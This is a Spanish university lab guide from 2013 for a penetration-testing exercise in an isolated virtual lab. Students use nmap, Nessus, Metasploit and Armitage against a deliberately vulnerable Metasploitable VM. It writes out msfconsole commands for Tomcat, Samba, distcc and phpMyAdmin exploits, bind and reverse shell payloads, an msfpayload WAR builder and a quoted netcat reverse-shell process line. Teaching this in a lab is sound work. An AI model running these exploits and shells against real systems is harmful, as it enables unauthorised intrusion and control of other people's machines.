Guía Básica de Metasploit para SSI
Guía Básica de Metasploit para SSI
SSI 2013/14
21 de octubre de 2013
Índice
1. Entorno de pruebas 1
1.1. Imágenes a utilizar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1. Entorno de pruebas
Imágenes de partida
1
1. Script de instalación: ejercicio-metasploit.sh
2. Ejecutar desde el directorio de descarga
Importante: Después de finalizar cada ejercicio terminar la ejecución de la máquina virtual desde lı́nea de
comandos con halt o sudo halt o desde el interfaz gráfico LXDE.
2.1. Descripción
En este primer ejercicio veremos dos herramientas que pueden ser utilizadas en las etapas iniciales de un test de
intrusión (exploración y enumeración). Se trata del escáner de puertos NMAP y del escáner de vulnerabilidades
NESSUS.
1. NMAP es un escaner de puertos con capacidad de identificación de servicios y sistemas operativos, también posee
funcionalidades de evasión y ocultación del escaneo.
http://www.nmap.org
http://es.wikipedia.org/wiki/Nmap
2. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simu-
lan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una colección de plugins
bajo registro sin coste para uso no comercial (Home Feed ) y una colección profesional más actualizada bajo
subscripción de pago (Professional Feed ).
http://www.nessus.org
http://en.wikipedia.org/wiki/Nessus (software)
Nota: Aunque inicialmente NESSUS era un proyecto de código abierto, en la actualidad tiene una licencia
privativa.
El proyecto libre OpenVAS continuó evolucionando el código de antigua versión Open Source de NESSUS y
ofrece funcionalidades similares.
2
2.2. Enumeración con NMAP
atacante:~# startx
2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que máquinas
están conectadas en el segmento de red.
Nos informará de que hay 2 equipos en la red: la máquna ATACANTE (con direccion IP 192.168.100.111) y la
máquina METASPLOITABLE (con direccion IP 192.168.100.222)
3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE
-sX nmap.xml especifica el nombre del fichero donde se volcará la salida del escaneo en el formato XML de
NMAP
-O Habilita la identificación del Sistema Operativo de la máquina escaneada
-sV Habilita la identificación de los servicios a la escucha en los puertos descubiertos en la máquina escaneada
192.168.100.222 Dirección IP del destino del escaneo
-p1-65535 Rango de puertos a escanear
Resultados obtenidos
Nota: Este tipo de escaneo con identificación de servicios es relativamente “ruidoso” y fácilmente detectable por
los firewalls o detectores de intrusiones que puedan estar instalados en la red escaneada.
3
2.3. Escaneo de vulnerabilidades con NESSUS
1. Abrir en un navegador web la URL https:
localhost:8834
Acceder con las credenciales Login: usuario1, Password: usuario1
AVISO: no funciona bien el botón de vuelta atrás :-(
Hay creada una polı́tica privada ”Metasploitable” donde se han seleccionado una serie de plugins relacio-
nados con los servicios identificados por NMAP.
Seleccionándola y pinchando en “Edit” se puede revisar y modificar.
En la pestaña “Plugins“ se pueden ver los plugins seleccionados
Se pueden seleccionar de la lista (agrupados por categorı́as) o emplear un filtro por su nombre o ID.
Por ejemplo Filer->Name : tomcat [Reset Filter] muestra los plugins relacionados con el servidor
Tomcat, están seleccionados los relativos a la versión 5.5
En concreto veremos: Web Servers -> 34970 Apache Tomcat Manager Common Administrative Credentials
El código de los plugins está disponibles en /opt/nessus/lib/nessus/plugins
Son scripts escritos en el lenguaje NASL (Nessus Attack Scripting Language) que realizan distintos tipos
de comprobaciones (versiones de servicios, opciones/comandos disponibles, configuración) y/o simulan un
intento de ataque que tratarı́a de aprovechar una vulnerabilidad concreta.
atacante:~/# less /opt/nessus/lib/nessus/plugins/tomcat_manager_common_creds.nasl
Con Add se crea un nuevo escaneo, se le asigna un nombre, se programa su incio (Run Now ), una polı́tica
(Metasploitable) y una lista de objetivos (192.168.100.222) y se lanza ([Launch Scan])
Una vez finalizado, aparecerá su resultado en la pestaña “Reports”
Se puede visualizar (Browse) y en exportar en diversos formatos (veremos que Metasploit puede importar
el resultado de escaneos de vulnerabilidades en formato nessus)
Ejemplos: (sobre el informe del escaneo Escaneo Metasploit ya realizado)
El resultado de este escaneo ya está exportado en el fichero /root/nessus_report_Escaneo_Metasploit.nessus
• Escaneo Metasploit -> High -> 8080 (High 1) -> 34970 Apache Tomcat Manager Common Administrat
Informa del uso de contraseñas por defecto en la herramienta web de administración de Tomcat.
• Escaneo Metasploit -> High -> 22 (High 2) -> 32314 Debian OpenSSH/OpenSSL Package Random Nu
Informa de que las claves de servidor SSH fueron generadas con una versión de openSSL sobre De-
bian/Ubuntu con un bug en el generador de números aleatorios.
3.1. Descripción
En este ejercicio veremos el uso del Framework Metasploit en tareas de explotación de vulnerabilidades y acceso a
equipos comprometidos.
Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas tı́picas de una intrusión, ofreciendo
un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos
y servicios comprometidos. Incluye también módulos adicionales para las fases de rastreo y enumeración, además de
poder integrar la información proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc.
4
3.1.1. Arquitectura de Metasploit
Metasploit sigue un arquitectura modular, organizada alrededor de un núcleo que estructura la aplicación y ofrece las
funcionalidades básicas.
exploits Piezas de código que explotan una vulnerabilidad concreta que permite un acceso no previsto. Suelen ser
especı́ficas del sistema operativo y de la versión concreta del servicio, aunque hay algunos exploits independientes
de la plataforma.
Su uso principal es como ”vector” para la inyección de un payload especı́fico que ofrezca al atacante algún tipo
de acceso y/o control del equipo compometido.
payloads Piezas de código que permiten algún tipo de acceso o control sobre un equipo que ha sido comprometido
mediante la explotación de alguna vulnerabilidad. Suelen ser especı́ficos del sistema operativo, aunque algunos
basados en Java o lenguajes de Script son independientes de la plataforma.
Uno de los payloads más potentes que ofrece Metasploit es Meterpreter. Se trata de un payload que ofrece un
intérprete de comandos en el sistema comprometido, complementado con una serie de comandos especı́ficos que
soportan tareas tı́picas de una intrusión (recopilación de información del sistema comprometidos, keylogger,
ocultación de rastros, etc).
Explicación de algunas funcionalidades de Meterpreter: comandos Meterpreter, tabla resumen [pdf]
auxiliary Módulos auxiliares que automatizan tareas complementarias empleadas habitualmente en test de intrusión.
Fundamentalmente se trata de diversos tipos de escáners: escáner de puertos genéricos ó escáneres especifı́cos
para aplicaciones/servicios concretos. También se proveen módulos para recopilar credenciales de acceso basados
en diccionarios o romper contraseñas, enumeradores de directorios, herramientas para recopilación de informa-
ción de red y una colección de fuzzers que generan cadenas de entrada aletorias con las que detectar posibles
vulnerabilides en la validación de entradas.
post Piezas de código especı́ficas de cada arquitectura o aplicación que automatizan tareas relativas al mantenimien-
to, extensión y/o ocultación del acceso a equipos comprometidos. Fundamentalmente ofrecen funcionalidades
para recopilar información del sistema comprometidos (servicios, usuarios, fichero, ...), para escalar privilegios
obteniendo credenciales de administrador o para ocultar el rasto de la explotación.
nops Módulos complementarios usados para generar distintos tipos de códigos NOP (No operation) para diferentes
arquitecturas y CPUs a utilizar en el código de los exploits y sus respectivos payloads.
encoders Módulos complementarios utilizados para ofuscar y ocultar el código de los exploits y sus respectivos
payloads empleando diversos tipos de codificación. Son un mecanismo de evasión para evitar la detección del
ataque por parte de IDS (sistemas de detección de intrusiones) o antivirus.
Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del núcleo
del propio framework o como proyectos independientes.
msfconsole Consola en modo texto de Metasploit, es el interfaz más usado y ofrece acceso a la totalidad de funcio-
nalidades del framework.
msfcli Expone las funcionalidades del framework para acceder a ellas desde lı́nea de comandos y shell scripts.
msfweb Expone las funcionalidades del framework mediante un interfaz web
msfrpc/msfrpcd Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC
(remote procedure call )
5
msfgui Interfaz gráfico basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd.
Armitage Interfaz gráfico basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho
más amigable, con mejor usabilidad, con asistencia al usuario y automatización de determinadas tareas. Accede
a las funcionalidades del framework usando msfrpcd.
otros
msfpayload/msfencode permiten crear (y codificar) payloads desde lı́nea de comandos. Se usa para generar
ficheros con payloads a desplegar/ejecutar directamente en las vı́ctimas.
msfupdate actualiza mediante svn (subversion) los módulos del framework a la última versión disponible.
atacante:~# msfconsole
Muestra un banner e información de la versión del framework, última actualización y número de módulos disponibles.
Metasploit puede configurarse para utilizar una base de datos donde guardar información de los equipos localizados, sus
servicios y vulnerabilidades, junto con información adicional como notas y eventos. Esa información puede generarla
el propio Metasploit a partir de sus módulos Auxiliary o cargarla a partir de herramientas externas.
1. Lanzar un escaneo de puertos sobre el segmento de red con NMAP y almacenar los resultados
Se puede recuperar, editar o eliminar información de un host o servicio especı́fico (ver hosts -h o services -h)
1. Buscar posibles módulos (exploits, etc) a utilizar sobre los servicios identificados en la máquina vı́ctima.
Posibles exploits contra el servidor FTP ProFTPD.
msf > search proftpd
6
3.2.3. Explotación de Tomcat
Debemos especificar un USERNAME y un PASSWORD, podremos intentar obtenerlos con un módulo auxiliar
que prueba un diccionario de pares usuario+clave usando feurza bruta.
2. Extracción de credenciales Tomcat (módulo auxiliar auxiliary/scanner/http/tomcat_mgr_login)
Nos informa que se puede acceder a la web de administración de Tomcat con las credenciales tomcat/tomcat
3. Configuración y uso del exploit exploit/multi/http/tomcat_mgr_deploy
Debemos especificar la máquina objetivo (RHOST), el puerto (RPORT), el path a la aplicación de gestion de
Tomcat (PATH) y el nombre de usuario (USERNAME) y la contraseña (PASSWORD).
Funcionamiento: El exploit creará un fichero WAR con una aplicación web Java ”maliciosa” cuya única misión
será la de poner en ejecución dentro de la máquina vı́ctima el PAYLOAD que especifiquemos.
Usando la aplicación de administración se desplegará ese WAR en el servidor Tomcat.
El exploit accederá a la URL correspondiente para invocar dicho servlet y poner en ejecución su PAYLOAD
7
Finalmente, el exploit deshará el despliegue realizado.
En este ejemplo se usará el PAYLOAD java/shell/bind_tcp
Este PAYLOAD lanza un intérprete de comandos en la vı́ctima (/bin/sh en este caso) y redirige su E/S a
un puerto TCP de dicha vı́ctima.
El exploit abre una sesión hacia ese puerto de la vı́ctima, obteniéndose una shell en el equipo comprometido
accesible desde el atacante.
Nota: con set PAYLOAD <tab> se muestra la lista de PAYLOADs admitidos por el exploit actual.
Este PAYLOAD tiene sus propias opciones, exige que indiquemos la máquina vı́ctima (RHOST) y el puerto de
escucha en dicha vı́ctima (LPORT)
ls -l
total 76
drwxr-xr-x 2 root root 4096 2010-03-16 19:11 bin
drwxr-xr-x 4 root root 4096 2011-12-10 10:31 boot
...
lrwxrwxrwx 1 root root 30 2011-12-10 09:31 vmlinuz -> boot/vmlinuz-2.6.24-30-virtual
uname -a
Linux metasploitable.ssi.net 2.6.24-30-virtual #1 SMP Mon Nov 28 20:50:52 UTC 2011 i686 GNU/Linux
...
En la vı́ctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin
terminal asociado.
Podemos comprobar que la conexión está efectivamente establecida, lanzando el comando netstat -tn en ambos
equipos.
8
Nota: las sesiones se finalizan con CONTROL+C
4. Uso de un PAYLOAD alternativo
Otro posible exploit serı́a java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones.
En este caso será el PAYLOAD en ejecución en la vı́ctima quien se conectará a un puerto local de la máquina
atacante (o de la máquina que le indiquemos).
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/reverse_tcp
msf exploit(tomcat_mgr_deploy) > show options
msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.100.111
msf exploit(tomcat_mgr_deploy) > set LPORT 22222
msf exploit(tomcat_mgr_deploy) > exploit
Debemos especificar la dirección (LHOST) y el puerto (LPORT) a donde debe conectarse el PAYLOAD.
También está disponible el código Java inyectado por el exploit responsable de crear el intérprete de comandos
y ponerse a la escucha. (ver http://schierlm.users.sourceforge.net/JavaPayload/)
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/javapayload/stage/Shell.java
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/Payload.java
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/PayloadServlet.java
Tamién se puede ver el aspecto que tendrı́a un fichero WAR con el PAYLOAD seleccionado (no es exactamente
el que desplegará el exploit anterior)
atacante:~# msfpayload java/shell/bind_tcp LPORT=33333 RHOST=192.168.100.222 W > /tmp/ejemplo.war
atacante:~# cd /tmp
atacante:/tmp# jar xvf ejemplo.war
atacante:/tmp# less WEB-INF/web.xml
atacante:/tmp# ls -l WEB-INF/classes/metasploit/*
Armitage es un interfaz gráfico alternativo para Metasploit que pretende simplificar el uso del framework. Hace uso
del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit.
Mejora el interfaz (visualización de hosts, acceso simplificado a los módulos y a su información y opciones, etc)
Automatiza ciertas tareas, como el emparejamiento entre hosts y servicios y entre servicios y exploits aplicables.
Simplifica la configuración de exploits y payloads.
Permite la gestión y coordinación de multiples sesiones abiertas en las vı́citmas
9
3.3.1. Inicio y uso básico
Al inciarse la aplicación se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd).
En la sección de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit.
En nuestro caso aparece el host que habı́amos identificado anteriormente con db_nmap al incio del ejercicio. De ser
necesario podrı́an lanzarse nuevos escaneos desde Armitage [[Menú Hosts] -> Import / NmapScan / etc ])
Vincular posibles ataques a un host vı́ctima Armitage ofrece la funcionalidad de cruzar la información sobre
servicios de un hosts con la información de los exploits para vincular a una máquina una lista de los potenciales
ataques.
Además de cruzar servicios y exploits para determinales cuales podrı́an ser usados este comando intenta explo-
tarlos.
Los exploits potenciales son lanzados uno a uno usando sus opciones por defecto.
En los casos donde el exploit tiene éxito se crea una sesión con la vı́ctima.
Nota: en la mayorı́a de los casos las opciones por defecto que usará Hail Mary no son las adecuadas y la explotación
no tendrá exito.
Suele ser necesario fijar opciones adecuadas y comprobar los exploit manualmente.
1. Sobre el host (192.168.100.222) seleccionar este ataque: [botón derecho] -> Attacks -> misc -> distcc_exec
2. Se abre un diálogo donde ser muestra la descripción del exploit (exploit/unix/misc/distcc_exec) y se permite
configurar sus parámetros y los posibles PAYLOADS (en caso de que el exploit admita diversos tipos)
10
3. Para este ejemplo los parámetros fijados por Armitage son correctos.
En este caso se usará un PAYLOAD generic/shell_bind_tcp
4. El exploit+payload se lanza con el botón [Launch]
Desde este submenú (dependiendo del tipo de PAYLOAD) se podrá acceder a una seción interactiva (Interact),
ejecutar módulos de POST EXPLOTACIÓN o subir archivos al equipo comprometido.
Hacia el final de la lista se muestra un proceso Perl, propiedad del usaurio daemon, que ejecuta un script perl de
una lı́nea (opción -e one line script).
Ese script es el código insertado por el exploit y lo que hace es abrir un socket hacia el puerto indicado en la
máquina atacante y ejecutar con la función Perl system() lo que se reciba a través de ese socket.
Accediendo a la opción Post modules del menú contextual vinculado a la sesión con la vı́citma se muestran en el
árbol izquierdo la lista de módulos de post explotación admitidos por el PAYLOAD actual.
Para invocarlos basta hacer doble click sobre ellos, rellenar las opciones perminentes y lanzarlo.
En cada uno de esos módulos debemos indicar en la opción SESSION el no de sesión (ó no de shell) vinculado a
la conexión obtenida por el exploit correspondiente.
Probar enum_linux, enum_services [para verlos ir a Menú view -> loot], etc)
Repitiendo las acciones del ejemplo anterior se puede aprovechar una vulnerabilidad en el servidor Samba de Metas-
ploitable para ganar acceso a la máquina comprometida.
1. Sobre el host (192.168.100.222) [botón derecho] -> Attacks -> samba -> usermap_script
2. Se usará el exploit exploit/multi/samba/usermap_script
En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat
redirecciona la E/S de un intérprete de comandos sobre un puerto de la máquina atacante.
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 1.3 2848 1688 ? Ss 19:23 0:00 /sbin/init
...
root 4915 0.0 0.3 1776 484 ? S 19:49 0:00 sh -c /etc/samba/scripts/mapusers.sh "/=‘nohup nc 192
...
11
3.3.4. Explotar una versión vulnerable de phpMyAdmin + uso de Meterpreter
Pasos a seguir:
1. Sobre el host (192.168.100.222) [botón derecho] -> Attacks -> webapp -> phpmyadmin_config
Se usará el exploit exploit/unix/webapp/phpmyadmin_config.
Se puede comprobar que la versión de phpMyAdmin instalada en Metasploitable es compatible con este exploit.
2. Asegurar que la opción URI es exactamente /phpMyAdmin/ (el exploit es sensible a mayúsculas/minúsculas)
3. Lanzar el exploit con el PAYLOAD por defecto.
Uso de Meterpreter
Lanzaremos de nuevo el exploit con un PAYLOAD más sofisticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_t
que carga la herramienta Meterpreter en la vı́ctima (en este caso el código inyectado por el PAYLOAD es PHP)
Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para simplificar las tareas de explotación,
post explotación y escalada de privilegios.
Inicialmente fue desarrollado para vı́ctimas MS Windows, aunque existen variantes para otras arquitecturas,
aunque no con todas las funcionalidades.
Pasos a seguir:
3. Se abre un menú contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las
opciones concretas de este PAYLOAD.
En la opción Interact se abre un shell de Meterpreter con un conjunto de comandos especı́ficos para tareas
de post explotación
En la opción Explore incluye un navegador de archivos gráfico, un visor de procesos y un herramienta de
captura de pantalla (depende del tipo de vı́ctima [no funciona con GNU/linux en modo texto])
En la opción Pivoting se pueden configurar los parámetros necesarios para que el equipo comprometido
funcione como ”pivote“, actúando como punto intermedio en el análisis y ataque con Metasploit a otras
máquinas accesibles desde dicha vı́ctima.
4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)
Con help se muestran los comandos, muchos de ellos son dependientes de la arquitectura y S.O. de la
vı́ctima y no todos estarán disponibles.
• comando load -¿carga módulos de meterpreter con funcionalidades adicionales: load -l)
• comando run -¿ejecuta módulos de post explotación o scripts meterpreter
• comandos ipconfig, route, portfwd -¿control de la configuración de red de la vı́ctima
• otros: control de webcam/micrófono, captura de pantalla, keylogger, captura de hashes de contraseñas
(sólo en MS Windows), etc
12
3.3.5. Tarea: explotar la aplicación web TikiWiki
Entrega: Documentar brevemente (1-2 páginas) los pasos seguidos para explotar Tomcat en la sección 3.2.3 y para
explotar las distintas aplicaciones de la sección 3.3. Detallar las vulnerabilidades concretas empleadas en cada caso,
junto con los resultados obtenidos.
13